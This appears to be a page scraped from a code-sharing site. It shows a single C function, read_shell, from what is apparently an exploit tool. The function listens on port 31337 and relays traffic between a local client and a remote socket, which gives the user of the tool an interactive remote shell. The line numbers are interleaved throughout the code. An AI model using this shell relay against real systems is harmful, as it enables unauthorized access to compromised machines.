Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1

2
VOID read_shell(SOCKET remote)
3
{
4
	SOCKET srv, local = 0, from, to, high; 
5
	struct sockaddr_in s;
6
	CHAR buf[8192];
7
	int on = 1, bytes;
8
	fd_set fdread;
9
	struct timeval tv;
10
	char passphrase[9];
11

12

13
	fflush(stdout);
14

15

16
	do
17
	{
18
		if ((srv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
19
		{
20
			printf("socket\n");
21
			break;
22
		}
23

24
		s.sin_family      = AF_INET;
25
		s.sin_port        = htons(31337);
26
		s.sin_addr.s_addr = INADDR_ANY;
27

28
		setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
29

30
		if (bind(srv, (struct sockaddr *)&s, sizeof(s)) < 0)
31
		{
32
			printf("bind\n");
33
			break;
34
		}
35

36
		if (listen(srv, 1) < 0)
37
		{
38
			printf("listen\n");
39
			break;
40
		}
41

42
		local = accept(srv, NULL, NULL);
43

44
	} while (0);
45

46
	high = local;
47
	
48
	if (remote > high)
49
		high = remote;
50

51
	printf("[*] Forwarding local=%d<->remote=%d...\n", local, remote);
52

53
	while ((local) && (remote))
54
	{
55
		FD_ZERO(&fdread);
56
		FD_SET(local, &fdread);
57
		FD_SET(remote, &fdread);
58

59
		tv.tv_sec = 1;
60
		tv.tv_usec = 0;
61

62
		if (select(high + 1, &fdread, NULL, NULL, &tv) < 0)
63
			break;
64
		
65
		if (FD_ISSET(remote, &fdread))
66
		{
67
			from  = remote;
68
			to    = local;
69
		}
70
		else
71
		{
72
			from  = local;
73
			to    = remote;
74
		}
75

76
		ioctlsocket(from, FIONREAD, &bytes);
77

78
		if ((bytes = recv(from, buf, sizeof(buf), 0)) <= 0)
79
			break;
80
		
81
		if (send(to, buf, bytes, 0) < 0)
82
		{
83
			printf("send failed, %lu\n", GetLastError());
84
			break;
85
		}
86
	}
87

88
	printf("[*] Finished\n");
89
}
90

91